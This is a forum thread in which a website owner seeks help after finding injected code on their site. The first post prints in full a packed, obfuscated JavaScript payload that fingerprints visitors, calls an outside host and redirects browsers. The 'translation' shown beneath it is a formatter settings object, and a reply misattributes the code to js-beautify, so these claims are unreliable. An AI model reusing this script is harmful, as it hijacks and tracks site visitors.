Post by gerstavros » Thu Apr 30, 2020 4:44 am

Hello
I noticed an unusual frame on the bottom of my website.
Inspecting the code, i found this <div> injected:
Image
the whole js is

Code: Select all

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('g 3i(q,k,Z){q+=\'\';k+=\'\';7(k.8<=0)b(q.8+1);6 n=0,m=0,14=Z?1:k.8;3j(u){m=q.3k(k,m);7(m>=0){++n;m+=14}h 3l}b n}g V(){6 x=o.D;6 F=o.3h(\'a\');F.C=x;6 d=F.l;6 p=d.3g(\'.\');7(\'f\'==p[p.8-1])b p[p.8-2]+\'.\'+p[p.8-1];h 7(p.8>2){6 a=["f.Q","f.3c","j.3b","f.3d","f.3e","j.3f","j.3m","j.H","f.3n","f.3v","j.3w","j.H","j.3x","f.3y","f.3u","f.3t","f.Q"];3p(6 i=0;i<a.8;i++){7(a[i]==p[p.8-2]+\'.\'+p[p.8-1])b p[p.8-3]+\'.\'+p[p.8-2]+\'.\'+p[p.8-1]}}b p[p.8-2]+\'.\'+p[p.8-1]}g O(){b B.3o+"x"+B.3q+"x"+B.3r+"x"+(y.3s||y.3a)}g U(l){6 a={\'39=\':1,\'2S\':1,\'2T\':1,\'2U=\':1,\'2V=\':1,\'2R==\':1,\'K==\':1,\'2Q==\':1,\'2M=\':1,\'2L=\':1,\'2N=\':1,\'2O=\':1,\'2P=\':1,\'2W\':1,\'2X==\':1,\'35\':1,\'36==\':1,\'37==\':1,\'38\':1,\'34\':1,\'33=\':1,\'2Z=\':1,\'2Y\':1,\'30==\':1,\'31\':1,\'32\':1,\'3z==\':1,\'3A==\':1,\'48=\':1,\'49\':1,\'4a=\':1,\'4b==\':1,\'47==\':1,\'46=\':1,\'42=\':1,\'41\':1,\'43\':1,\'44==\':1,\'45=\':1,\'4c=\':1,\'4d==\':1,\'4k==\':1,\'4l==\':1,\'4m=\':1,\'4n=\':1,\'4j==\':1,\'4i=\':1,\'4e=\':1,\'4f=\':1,\'4g==\':1,\'4h==\':1,\'40==\':1,\'2K\':1,\'3I=\':1,\'3J\':1,\'3K=\':1,\'3L==\':1,\'3H\':1,\'3G==\':1,\'3C==\':1,\'3B=\':1,\'3D==\':1,\'3E\':1,\'3F=\':1,\'3M\':1,\'3N=\':1,\'3V\':1,\'3W\':1,\'3X==\':1,\'3Y=\':1,\'3U==\':1,\'3T\':1,\'3P=\':1,\'3O=\':1,\'3Q==\':1,\'3R\':1,\'3S==\':1,\'4o=\':1,\'2z=\':1,\'1C==\':1,\'1B==\':1,\'1D==\':1,\'1E==\':1,\'1F=\':1,\'1A=\':1,\'1z\':1,\'1v=\':1,\'1u\':1,\'1w\':1,\'1x==\':1,\'1y==\':1,\'1G\':1,\'1H\':1,\'1Q\':1,\'1P\':1,\'1R==\':1,\'1t\':1,\'1T==\':1,\'1O\':1,\'1N==\':1,\'1J=\':1,\'1I\':1,\'1K\':1,\'J==\':1,\'1L==\':1,\'1M==\':1,\'1U==\':1,\'1m\':1,\'1e=\':1,\'1f==\':1,\'17=\':1,\'1g\':1,\'1q\':1,\'1k=\':1,\'1i\':1,\'1p=\':1,\'1h=\':1,\'1s==\':1,\'19==\':1,\'1d=\':1,\'18\':1,\'1r\':1,\'1n==\':1,\'1o=\':1,\'1l==\':1,\'1j=\':1,\'1a==\':1,\'1b=\':1,\'1c\':1,\'1S==\':1,\'2J\':1,\'2t\':1,\'2u==\':1,\'2v==\':1,\'2w==\':1,\'2s\':1,\'2r\':1,\'2n\':1,\'2m\':1,\'2o\':1,\'2p==\':1,\'2q=\':1,\'2x\':1,\'2y=\':1,\'2F=\':1,\'2G==\':1,\'2H\':1,\'2I==\':1,\'K==\':1,\'2E\':1,\'2D==\':1,\'1V\':1,\'2A==\':1,\'2B=\':1,\'2C\':1,\'2l==\':1,\'2k==\':1,\'23==\':1,\'24==\':1,\'25==\':1,\'26=\':1,\'22\':1,\'21\':1,\'1X==\':1,\'1W\':1,\'1Y=\':1,\'1Z==\':1,\'20=\':1,\'27=\':1,\'28=\':1,\'2g==\':1,\'2h=\':1,\'2i=\':1,\'2j\':1,\'2f\':1,\'2e\':1,\'2a==\':1,\'29\':1,\'2b=\':1,\'2c==\':1,\'2d\':1,\'3Z==\':1,\'4S\':1,\'6B==\':1,\'6C\':1,\'6D=\':1,\'6E=\':1,\'6A\':1,\'6z\':1,\'6v\':1,\'6u==\':1,\'6w==\':1,\'6x\':1,\'6y==\':1,\'6F=\':1,\'6G==\':1,\'6N==\':1,\'6O==\':1,\'6P=\':1,\'4p==\':1,\'6Q=\':1,\'6M\':1,\'6L==\':1,\'6H==\':1,\'6I\':1,\'6J==\':1,\'6K==\':1,\'6t=\':1,\'6s\':1,\'6c==\':1,\'6d\':1,\'6e==\':1,\'6f==\':1,\'6b==\':1,\'6a==\':1,\'65=\':1,\'64\':1,\'66==\':1,\'67==\':1,\'69=\':1,\'6g==\':1,\'6h\':1,\'6o=\':1,\'6S==\':1,\'6q==\':1,\'6r==\':1,\'6n\':1,\'6m=\':1,\'6i==\':1,\'6j=\':1,\'6k=\':1,\'6l==\':1,\'6R==\':1,\'72=\':1,\'7t==\':1,\'7s\':1,\'7u\':1,\'7v==\':1,\'7x\':1,\'7w\':1,\'7r\':1,\'7q\':1,\'7l\':1,\'7k=\':1,\'7m=\':1,\'7n=\':1,\'7p\':1,\'7o=\':1,\'7z=\':1,\'7y=\':1,\'7F=\':1,\'7D\':1,\'7A\':1,\'7E=\':1,\'7B\':1,\'7C=\':1,\'7i=\':1,\'71\':1,\'70\':1,\'7j==\':1,\'73==\':1,\'74=\':1,\'6Z=\':1,\'6Y=\':1,\'6U==\':1,\'6T\':1,\'6V\':1,\'6W\':1,\'6X\':1,\'75\':1,\'76==\':1,\'7e\':1,\'7f\':1,\'7g==\':1,\'7h\':1,\'7d\':1,\'7c=\':1,\'78=\':1,\'77\':1,\'79=\':1,\'7a\':1,\'7b\':1,\'6p\':1,\'62=\':1,\'4X\':1,\'4Y=\':1,\'4Z==\':1,\'50\':1,\'4W=\':1,\'4V\':1,\'4R==\':1,\'4Q==\':1,\'63\':1,\'4T\':1,\'4U=\':1,\'51==\':1,\'52==\':1,\'59\':1,\'5a\':1,\'5b==\':1,\'5c\':1,\'58=\':1,\'57==\':1,\'53\':1,\'54=\':1,\'55==\':1,\'56==\':1,\'4P==\':1,\'4O==\':1,\'4x==\':1,\'4y=\':1,\'4z\':1,\'4A\':1,\'4w\':1,\'4v==\':1,\'4r=\':1,\'4q==\':1,\'4s\':1,\'4t==\':1,\'4u==\':1,\'4B\':1,\'4C=\':1,\'4K\':1,\'4L==\':1,\'4M\':1,\'4N==\':1,\'4J\':1,\'4I=\':1,\'4E=\':1,\'4D\':1,\'4F=\':1,\'4G\':1,\'4H==\':1,\'5d\':1,\'5e=\':1,\'5M=\':1,\'5N=\':1,\'5O=\':1,\'5P=\':1,\'5L\':1,\'5K\':1,\'5G\':1,\'5F=\':1,\'5H==\':1,\'5I\':1,\'5J\':1,\'5Q==\':1};7(a[l])b u;h b R}g Y(l){6 a={\'J==\':1,\'5R==\':1,\'5Y=\':1,\'5Z\':1,\'60==\':1};7(a[l])b u;h b R}g v(){6 61=y.5X.5W(/5S(e|5T)\\/([0-9]+)\\./);b\'\'}g E(){7(o.D)6 s=\'?5U=\'+A(5V(o.D))+\'&t=i&w=M&c=\'+v()+\'&j=L=&i=N\';h 6 s=\'?t=i&w=M&c=\'+v()+\'&j=L=&i=N\';7(v()>=68)s=s+\'&5E=1\';s=s+\'&5D=\'+O();b s}g I(5m,P){6 r=15 5n();r.5o(\'5p\',\'//\'+\'T.X\'+\'/s/\'+P+\'/\',u);r.5l=g(){7(r.5k!=4||r.5g!=5f)b};r.5h(\'\')}g W(){7(5i(5j)!==\'5q\'){7(!z.5r(\'G\')){I(\'1\',\'i\');z.S(\'G\',1);z.S(\'5z\',15 16().5A())}h{}}h{}}7(5B!=5C){6 13=16.5y()/5x|0;6 10=\'5t==\';7(!(13%5))W();6 d=V();7(U(A(d))){12.11.C=\'//T.X/s/r/\'+E()}h 7(Y(A(d))){12.11.C=\'//\'+5s(10)+\'/s/s/\'+E()}h{5u.5v(\'{"5w":1}\',\'*\')}}',62,476,'||||||var|if|length|||return||||com|function|else||co|subString|host|pos||document||string||||true|gG|||navigator|localStorage|btoa|screen|href|referrer|appendR|parser|_ins|in|theCall|YXNrLmNvbQ|YWlyYm5iLmNvbQ|R1I|vi|YWRz|checkStr|hash|au|false|setItem|shor|theCheck|trouverDom|theInsCheck|link|theCheckSt|allowOverlapping|key|location|window|to|step|new|Date|Z2V0emVuLmNhc2g|cGlubmFjbGUuY29t|bXludHJhLmNvbQ|a3Vjb2luLmNvbQ|cGx1czUwMC5jb20|Y2V4Lmlv|cG9rZXJzdGFycy5jb20|Y2FtNC5jb20|Y2FtNC5lcw|ZHguY29t|cm9zZWdhbC5jb20|YmFuZ2dvb2QuY29t|YmluYW5jZS5jb20|bGlnaHRpbnRoZWJveC5jb20|Y2hhbmdlbGx5LmNvbQ|dGhlcG9ybmR1ZGUuY29t|bGVkZ2VyLmNvbQ|bG9jYWxiaXRjb2lucy5jb20|cmVudGFsY2Fycy5jb20|Z2VhcmJlc3QuY29t|ZXRvcm8uY29t|dGFyZ2V0LmNvbQ|Y29yZXNwcmVhZHMuY29t|Zm9yZXh0ZXN0ZXIuY29t|YmxhY2tidWxsbWFya2V0cy5jb20|Znhvcm8uY29t|bm9yZGZ4LmNvbQ|b2N0YWZ4LmNvbQ|aXFvcHRpb24uY29t|c3RvY2tmcmVzaC5jb20|aW50ZXJhY3RpdmVicm9rZXJzLmNvbQ|cm9iaW5ob29kLmNvbQ|YWRvcHRhcGV0LmNvbQ|anVtcHN0b3J5LmNvbQ|ZGVwb3NpdHBob3Rvcy5jb20|cGVwcGVyc3RvbmUuY29t|Y2FwZXguY29t|bG9va2EuY29t|c2l0ZTEyMy5jb20|Ymlub21vd29ybGQuY29t|ZnJpZW5kZmluZGVyLmNvbQ|c3BhbmtiYW5nLmNvbQ|d2l4LmNvbQ|d3BlbmdpbmUuY29t|bGliZXJ0ZXguY29t|Y2xpY2t0cmFkZXMuY29t|ZXhwZXJ0b3B0aW9uLmNvbQ|dmlyYm94LmNvbQ|Ymlub21vLmNvbQ|aGNsaXBzLmNvbQ|Ymx1ZWhvc3QuY29t|bGF0YW0uY29t|ZmF0Y293LmNvbQ|dnVlbGluZy5jb20|aWJlcmlhLmNvbQ|YXZpYW5jYS5jb20|aG9zdHBhcGEuY29t|aW9ub3MuY29t|Y2xvdWR3YXlzLmNvbQ|aG9zdGdhdG9yLmNvbQ|ZG9tYWluLmNvbQ|ZHluYWRvdC5jb20|a2l3aS5jb20|YXNvcy5jb20|YmlnYnVzdG91cnMuY29t|Y3J1aXNlZGlyZWN0LmNvbQ|c2VtcnVzaC5jb20|aW5zdGFwYWdlLmNvbQ|bG9uZ3RhaWxwcm8uY29t|YXZpcmEuY29t|YWlyZnJhbmNlLmVz|Zml2ZXJyLmNvbQ|YmVzdGJ1eS5jb20|Y29udGFiby5jb20|cmViZWwuY29t|YTJob3N0aW5nLmNvbQ|dGVtcGxhdGVtb25zdGVyLmNvbQ|Yml0c3RhcnouY29t|Zm9ydHVuZWphY2suY29t|YXZhdHJhZGUuY29t|Y29pbmhvdXNlLmNvbQ|ZXhwcmVzc3Zwbi5jb20|aW5kYWNvaW4uY29t|eGNvaW5zLmlv|YnliaXQuY29t|ZGlnaWZpbmV4LmNvbQ|Yml0bWV4LmNvbQ|YmluYW5jZS5qZQ|aGlkZXN0ZXIuY29t|d2luZHNjcmliZS5jb20|YW5uaWVzY2F0YWxvZy5jb20|ZHJlYW1ob3N0LmNvbQ|ZWxlZ2FudHRoZW1lcy5jb20|YmFuYWhvc3RpbmcuY29t|bmFtZWNoZWFwLmNvbQ|YWlyYm5iLmVz|cHVyZXZwbi5jb20|cHJvdG9udnBuLmNvbQ|aXB2YW5pc2guY29t|bWludG9zLmNvbQ|Yml0cGFuZGEuY29t|ZGVzcGVnYXIuY29t|Z3J1cGVlci5jb20|aXV2by1ncm91cC5jb20|ZmFzdGludmVzdC5jb20|Ym9uZG9yYS5jb20|YnVsa2VzdGF0ZS5jb20|cGVlcmJlcnJ5LmNvbQ|aGlkZW15YXNzLmNvbQ|YWdvZGEuY29t|dHJlem9yLmlv|Y3liZXJnaG9zdHZwbi5jb20|bm9yZHZwbi5jb20|ZW52ZXN0aW8uY29t|ZXN0YXRlZ3VydS5jbw|c3BvcnRpbmdiZXQuY29t|bmlrZS5jb20|c2hvcDRydW5uZXJzLmNvbQ|N2RheXNob3AuY29t|cGFlc3NsZXIuY29t|cGVyZnVtZS5jb20|aWhlcmIuY29t|aXBhZ2UuY29t|ZXRpaGFkLmNvbQ|ZXRoaWFkLmNvbQ|Y2l0eXBhc3MuY29t|Ym9va2luZy5jb20|userLanguage|uk|br|ph|my|th|split|createElement|countStr|while|indexOf|break|id|tw|height|for|width|colorDepth|language|eg|sa|hk|bd|kr|mm|cmVhZGx5LmNvbQ|emlmZml0LmNvbQ|M2RvY2Vhbi5uZXQ|cGhvdG9kdW5lLm5ldA|Y3J5cHRvLmNvbQ|Y3JlYXRpdmVtYXJrZXQuY29t|dGhlc2l4ZmlndXJlbWVudG9ycy5jb20|Z3JhcGhpY3JpdmVyLm5ldA|YXVkaW9qdW5nbGUubmV0|bmF2aWdhdGlvbi5jb20|dGhlbWVmb3Jlc3QubmV0|Y29kZWNhbnlvbi5uZXQ|dmlkZW9oaXZlLm5ldA|dXNlcHJvb2YuY29t|a3Vjb2lucGxheS5jb20|cHJpbWV2aWRlby5jb20|YWlyYXNpYS5jb20|YW1icm9uaXRlLmNvbQ|YXZhc3QuY29t|YmxpYmxpLmNvbQ|YW8uY29t|YXZnLmNvbQ|YnJhdmUuY29t|MWFuZDEuY29t|OTlkZXNpZ25zLmNvbQ|YW5zaS5vcmc|c2VyYW5raW5nLmNvbQ|aG90ZWlzLmNvbQ|YW1hcmEuY29t|dmVzdGlhaXJlY29sbGVjdGl2ZS5jb20|bmV0c2hvZXMuY29tLmJy|YmV0d2F5LmNvbQ|YmV0c3Nvbi5jb20|c2hvcGJvcC5jb20|bm9rYWlyLmNvbQ|cG9tZWxvZmFzaGlvbi5jb20|a2FtYXRlcmEuY29t|bmlhZ2Fob3N0ZXIuY28uaWQ|c3NlbnNlLmNvbQ|YmV0ZmFpci5jb20|Ym9uZ2FjYW1zLmNvbQ|Y2hhdHVyYmF0ZS5jb20|Yndpbi5jb20|Yndpbi5lcw|Yndpbi5iZQ|bGl2ZWphc21pbi5jb20|aG90ZWxzLmNvbQ|aW1saXZlLmNvbQ|d2hpcGxyLmNvbQ|YWxpZXhwcmVzcy5jb20|YWxpYmFiYS5jb20|YXJnb3MuY28udWs|bW9kYW9wZXJhbmRpLmNvbQ|bGlxdWlkd2ViLmNvbQ|Z3JlZW5nZWVrcy5jb20|YmlnY29tbWVyY2UuY29t|d2VlYmx5LmNvbQ|c2VsbGZ5LmNvbQ|dGhpbmttYXJrZXRzLmNvbQ|bmFtZXNpbG8uY29t|YmluYXJ5LmNvbQ|ZXhtby5jb20|Zm9yZXguY29t|Y2l0eWluZGV4LmNvLnVr|c2VlZHNtYW4uY29t|ZWRkaWViYXVlci5jb20|bnV2aWQuY29t|dG5hZmxpeC5jb20|a2Vlem1vdmllcy5jb20|c2l0ZWxvY2suY29t|YnVsbGd1YXJkLmNvbQ|cG9ybi5jb20|dHViZTguY29t|aG0uY29t|dGFpbG9yYnJhbmRzLmNvbQ|bG9nYXN0ZXIuY29t|Y29weWZ4LmNvbQ|ZnBtYXJrZXRzLmNvbQ|Zm9yZXh0aW1lLmNvbQ|dmFudGFnZWZ4LmNvbQ|cm9ib2ZvcmV4LmNvbQ|a29obHMuY29t|ZnhnaWFudHMuY29t|aGZldS5jb20|ZWFzeW1hcmtldHMuY29t|bW9uZXRhbWFya2V0cy5jb20|cG9uZDUuY29t|Y2Fuc3RvY2twaG90by5jb20|c2h1dHRlcnN0b2NrLmNvbQ|Z2V0dHlpbWFnZXMuY29t|aXJvbmZ4LmNvbQ|Zm9yZXhtYXJ0LmNvbQ|aWcuY29t|aXRyYWRlci5jb20|bGl0ZWZvcmV4LmNvbQ|eHRiLmNvbQ|aHljbS5ldQ|ZnhnbG9iZS5jb20|dGVsZXRyYWRlLmV1|MjRvcHRpb24uY29t|YXhpdHJhZGVyLmNvbQ|Zm9ydHJhZGUuY29t|Yml0ZGVmZW5kZXIuY29t|YXBwc3Vtby5jb20|200|status|send|typeof|Storage|readyState|onreadystatechange|version|XMLHttpRequest|open|GET|undefined|getItem|atob|c3RhdGljeGV2LmNvbQ|parent|postMessage|__catch__|1000|now|_ins_t|getTime|self|top|sce|pm|bm9vbS5jb20|dWRlbXkuY29t|cGxhbmV0aG9zdGVyLmNvbQ|dWtob3N0NHUuY29t|YmlsbGlnZmx1ZWdlLmRl|dmVnYXMuY29t|dmFwb3IuY29t|bmV0d29ya3NvbHV0aW9ucy5jb20|cHJvc3Blci5jb20|Y2FiZWxhcy5jb20|YnV5ZG9tYWlucy5jb20|aW5tb3Rpb25ob3N0aW5nLmNvbQ|c3RhcnRwYWdlLmNvbQ|Chrom|ium|re|encodeURI|match|userAgent|ZHVja2R1Y2tnby5jb20|cXVvcmEuY29t|eWFuZGV4LmNvbQ|raw|cGl4dGFzdG9jay5jb20|Znhwcm8uY29t|b3N0aW4uY29t|dHJpcGFkdmlzb3IuaXQ|bWVkaWFtYXJrdC5ydQ|b2xkaS5ydQ||c3Z5YXpub3kucnU|c2t5c2Nhbm5lci5lcw|c2t5c2Nhbm5lci5pdA|bGl2cmFyaWFjdWx0dXJhLmNvbS5icg|Y2hpY29yZWkuY29t|ZXhwZWRpYS5pdA|ZWRyZWFtcy5pdA|c2hvcGNsdWVzLmNvbQ|dGF0YWNsaXEuY29t|ZXhwZWRpYS5jby5rcg|ZXhwZWRpYS5jb20udHc|ZXhwZWRpYS5jb20ucGg|ZXhwZWRpYS5jby50aA|ZXhwZWRpYS5jb20uaGs|cGVnaXBlZ2kuY29t|bWFrZW15dHJpcC5jb20|YWxhbXkuY29t|ZXhwZWRpYS5mcg|ZmxpeGJ1cy5mcg|dHJhdmVzc2EuY29tLmJy|YW1lcmljYW5hcy5jb20uYnI|emFsb3JhLmNvbS5waA|emFsb3JhLmNvLmlk|emFsb3JhLmNvbS5teQ|dGlrZXQuY29t|ZHJlc3NsaWx5LmNvbQ|emFsb3JhLnNn|c25hcGRlYWwuY29t|NnBtLmNvbQ|YmFja2NvdW50cnkuY29t|bG9mdC5jb20|c3VybGF0YWJsZS5jb20|Z2Vla2J1eWluZy5jb20|Z2FtaXNzLmNvbQ|dm9lZ29sLmNvbS5icg|bW9ibHkuY29tLmJy|c3VibWFyaW5vLmNvbS5icg|YW1hem9uLmNvbS5icg|bWFsd2VlLmNvbS5icg|andwbGF5ZXIuY29t|c3RhZGl1bWdvb2RzLmNvbQ|dG9tdG9wLmNvbQ|cmVlYm9uei5jb20|aXRhbGlzdC5jb20|ZXhwZWRpYS5jby5pZA|YmlnYmFza2V0LmNvbQ|YWlyYm5iLmZy|YWlyYm5iLmNvbS5icg|YWlyYm5iLmRl|YWlyYm5iLnB0|YWlyYm5iLnJ1|ZXhhbXBsZS5jb20|aG9zdGluZ2FkdmljZS5jb20|bGF6YWRhLmNvLnRo|bGF6YWRhLnZu|ZXhwZWRpYS5jb20ubXk|aG9zdGluZ2ZhY3RzLmNvbQ|aG9zdGluZy5yZXZpZXc|YWlyYm5iLmNu|Y2FyZGVsbWFyLmNvbQ|YWRvYmUuY29t|emFyYS5jb20|ZHJlYW1zdGltZS5jb20|aXN0b2NrcGhvdG8uY29t|MTIzcmYuY29t|aG91c2Vycy5jb20|d2VnLmRl|ZW1pcmF0ZXMuY29t|Zmx5ZHViYWkuY29t|b25lLmNvbQ|aG9tZS5zYXhv|YXNobGV5bWFkaXNvbi5jb20|cmVkZGl0LmNvbQ|ODg4cG9rZXIuZXM|ODg4cG9rZXIuY29t|ODg4cG9rZXIucm8|ODg4cG9rZXIuZGs|ODg4c3BvcnQuZXM|ODg4c3BvcnQuY29t|ODg4Y2FzaW5vLnJv|ODg4Y2FzaW5vLmRr|ODg4Lml0|ODg4LmNvbQ|ODg4LnJv|ODg4Y2FzaW5vLmNvbQ|ODg4Y2FzaW5vLml0|ODg4Y2FzaW5vLmVz|ODg4c3BvcnQuZGs|ODg4c3BvcnQuaXQ|eGNhbXMuY29t|YWR1bHRmcmllbmRmaW5kZXIuY29t|ZmxpcnQ0ZnJlZS5jb20|eGxvdmVjYW0uY29t|eG1vZGVscy5jb20|ODg4c3BvcnQucm8'.split('|'),0,{}))
which translates to

Code: Select all

{
  "indent_size": "4",
  "indent_char": " ",
  "max_preserve_newlines": "5",
  "preserve_newlines": true,
  "keep_array_indentation": false,
  "break_chained_methods": false,
  "indent_scripts": "normal",
  "brace_style": "collapse",
  "space_before_conditional": true,
  "unescape_strings": false,
  "jslint_happy": false,
  "end_with_newline": false,
  "wrap_line_length": "0",
  "indent_inner_html": false,
  "comma_first": false,
  "e4x": false,
  "indent_empty_lines": false
}
I haven't installed any suspicious module last months. i checked however all js files, all tpl from default and mine theme, all tpl from modules, and couldn't find anywhere this html iframe code.
I disabled all ocmod and vqmod mods and this still exists.
Any help or idea appreciated.

New member

Posts

Joined
Mon Apr 04, 2016 12:44 am

Post by rjcalifornia » Sat May 02, 2020 2:31 am

gerstavros wrote:
Thu Apr 30, 2020 4:44 am
Hello
I noticed an unusual frame on the bottom of my website.

I haven't installed any suspicious module last months. i checked however all js files, all tpl from default and mine theme, all tpl from modules, and couldn't find anywhere this html iframe code.
I disabled all ocmod and vqmod mods and this still exists.
Any help or idea appreciated.
That code belongs to an npm package called js-beautify:

https://github.com/beautify-web/js-beautify/issues/1727

Does OpenCart uses it?

Image


Active Member

Posts

Joined
Fri Sep 02, 2011 1:19 pm
Location - Worldwide

Post by gerstavros » Wed Jun 10, 2020 4:14 am

rjcalifornia wrote:
Sat May 02, 2020 2:31 am
That code belongs to an npm package called js-beautify:

https://github.com/beautify-web/js-beautify/issues/1727

Does OpenCart uses it?
I don't know and never figured out a solution. After moving the site to new server, that disappeared.

New member

Posts

Joined
Mon Apr 04, 2016 12:44 am

Post by rjcalifornia » Wed Jun 10, 2020 12:46 pm

gerstavros wrote:
Wed Jun 10, 2020 4:14 am
rjcalifornia wrote:
Sat May 02, 2020 2:31 am
That code belongs to an npm package called js-beautify:

https://github.com/beautify-web/js-beautify/issues/1727

Does OpenCart uses it?
I don't know and never figured out a solution. After moving the site to new server, that disappeared.
Strange. May be a theme or some extension?

Image


Active Member

Posts

Joined
Fri Sep 02, 2011 1:19 pm
Location - Worldwide

Post by gerstavros » Thu Jun 11, 2020 4:18 am

rjcalifornia wrote:
Wed Jun 10, 2020 12:46 pm

Strange. May be a theme or some extension?
i don't think so, the site was copied exactly same.

New member

Posts

Joined
Mon Apr 04, 2016 12:44 am

Post by ADD Creative » Thu Jun 11, 2020 6:24 am

Looks more like it was added by a browser extension.

www.add-creative.co.uk


Active Member

Posts

Joined
Sat Jan 14, 2012 1:02 am
Location - United Kingdom

Post by gerstavros » Fri Jun 12, 2020 4:16 am

ADD Creative wrote:
Thu Jun 11, 2020 6:24 am
Looks more like it was added by a browser extension.
it was shown in different browsers in many computers.

New member

Posts

Joined
Mon Apr 04, 2016 12:44 am
Who is online

Users browsing this forum: No registered users and 2 guests